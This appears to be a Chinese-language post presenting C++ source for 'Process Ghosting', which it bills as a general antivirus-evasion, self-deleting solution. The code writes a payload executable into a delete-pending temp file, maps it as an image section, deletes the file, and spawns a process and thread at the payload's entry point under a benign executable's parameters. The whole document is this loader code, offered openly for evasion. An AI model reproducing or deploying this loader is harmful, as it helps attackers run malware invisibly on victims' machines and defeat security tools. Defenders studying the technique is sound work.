ProcessGhosting-一套通用的免杀，自删除解决方案

BYTE* buffer_payload(wchar_t *filename, OUT size_t &r_size) {
    HANDLE file = CreateFileW(filename, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);//获取文件handle
    if (file == INVALID_HANDLE_VALUE) {
        cout << "create file fail!\n" << endl;
    }
    HANDLE mapping = CreateFileMapping(file, 0, PAGE_READONLY, 0, 0, 0); //打开或创建文件的映射对象，返回值为新创建的文件映射handle
    if (!mapping) {
        CloseHandle(file);
        return nullptr;
        cout << "create map fail!\n" << endl;
    }
    BYTE* dllRawData = (BYTE*)MapViewOfFile(mapping, FILE_MAP_READ, 0, 0, 0);//将文件映射handle映射到进程空间
    if (dllRawData == nullptr) {
        cout << "map move fail!\n" << endl;
        CloseHandle(mapping);
        CloseHandle(file);
        return nullptr;
    }
    r_size = GetFileSize(file, 0);
    BYTE* localCopyAddress = (BYTE*)VirtualAlloc(NULL, r_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);//内存中申请文件大小的地址空间
    memcpy(localCopyAddress, dllRawData, r_size);
    UnmapViewOfFile(dllRawData);//解映射
    CloseHandle(mapping);
    CloseHandle(file);
    return localCopyAddress;

}

bool process_ghost(wchar_t* targetPath, BYTE* payladBuf, DWORD payloadSize)
{
    wchar_t dummy_name[MAX_PATH] = { 0 };
    wchar_t temp_path[MAX_PATH] = { 0 };
    DWORD size = GetTempPathW(MAX_PATH, temp_path);//获取temp文件路径
    GetTempFileNameW(temp_path, L"TH", 0, dummy_name);//给temp文件创建一个名称

    HANDLE hSection = make_section_from_delete_pending_file(dummy_name, payladBuf, payloadSize);//将temp文件属性设置为删除状态，并将文件映射进section
    if (!hSection || hSection == INVALID_HANDLE_VALUE) {
        return false;
    }
    HANDLE hProcess = nullptr;
    NTSTATUS status = NtCreateProcessEx(
        &hProcess,
        PROCESS_ALL_ACCESS,
        NULL,
        NtCurrentProcess(),
        PS_INHERIT_HANDLES,
        hSection,
        NULL,
        NULL,
        FALSE
    );//根据传入的section创建process
    if (status != STATUS_SUCCESS) {
        cerr << "NtCreateProcessEx failed! Status: " << hex << status << endl;
        if (status == STATUS_IMAGE_MACHINE_TYPE_MISMATCH) {
            cerr << "[!] The payload has mismatching bitness!" << endl;
        }
        return false;
    }
    PROCESS_BASIC_INFORMATION pi = { 0 };
    DWORD ReturnLength = 0;
    status = NtQueryInformationProcess(
        hProcess,
        ProcessBasicInformation,
        &pi,
        sizeof(PROCESS_BASIC_INFORMATION),
        &ReturnLength
    );//索引创建的进程基础信息
    if (status != STATUS_SUCCESS) {
        std::cerr << "NtQueryInformationProcess failed" << std::endl;
        return false;
    }
    PEB peb_copy = { 0 };
    if (!buffer_remote_peb(hProcess, pi, peb_copy)) {//将black exe的内存数据复制到peb_copy，主要作用是获取ImageBaseAddress
        return false;
    }
    ULONGLONG imageBase = (ULONGLONG)peb_copy.ImageBaseAddress;
    DWORD payload_ep = get_entry_point_rva(payladBuf);//获取入口点的偏移地址
    ULONGLONG procEntry = payload_ep + imageBase;//获取到入口点的地址
    if (!setup_process_parameters(hProcess, pi, targetPath)) {//将环境变量写入进程的内存空间，此处是唯一一次用到white exe的地方:)
        std::cerr << "Parameters setup failed" << std::endl;
        return false;
    }
    HANDLE hThread = NULL;
    status = NtCreateThreadEx(&hThread,
        THREAD_ALL_ACCESS,
        NULL,
        hProcess,
        (LPTHREAD_START_ROUTINE)procEntry,
        NULL,
        FALSE,
        0,
        0,
        0,
        NULL
    );//在进程中black exe内存的入口点创建线程

    if (status != STATUS_SUCCESS) {
        std::cerr << "NtCreateThreadEx failed: " << GetLastError() << std::endl;
        return false;
    }

    return true;
}

HANDLE make_section_from_delete_pending_file(wchar_t* filePath, BYTE* payladBuf, DWORD payloadSize) {
    HANDLE hDelFile = open_file(filePath);//打开temp文件
    NTSTATUS status = 0;
    IO_STATUS_BLOCK status_block = { 0 };

    FILE_DISPOSITION_INFORMATION info = { 0 };
    info.DeleteFile = TRUE;
    status = NtSetInformationFile(hDelFile, &status_block, &info, sizeof(info), FileDispositionInformation);//改变文件对象信息，将设置为请求删除文件状态。
    if (!NT_SUCCESS(status)) {
        cout << "Setting information failed: " << hex << status << "\n";
        return INVALID_HANDLE_VALUE;
    }
    LARGE_INTEGER ByteOffset = { 0 };

    status = NtWriteFile(
        hDelFile,
        NULL,
        NULL,
        NULL,
        &status_block,
        payladBuf,
        payloadSize,
        &ByteOffset,
        NULL
    );//将传入的black exe的内存地址写入temp文件
    if (!NT_SUCCESS(status)) {
        DWORD err = GetLastError();
        cout << "Failed writing payload! Error: " << hex << err << endl;
        return INVALID_HANDLE_VALUE;
    }
    HANDLE hSection = nullptr;
    status = NtCreateSection(&hSection,
        SECTION_ALL_ACCESS,
        NULL,
        0,
        PAGE_READONLY,
        SEC_IMAGE,
        hDelFile
    );//为temp文件创建section
    if (status != STATUS_SUCCESS) {
        cerr << "NtCreateSection failed: " << hex << status << endl;
        return INVALID_HANDLE_VALUE;
    }
    NtClose(hDelFile);//关闭handle，同时temp文件消失
    hDelFile = nullptr;

    return hSection;
}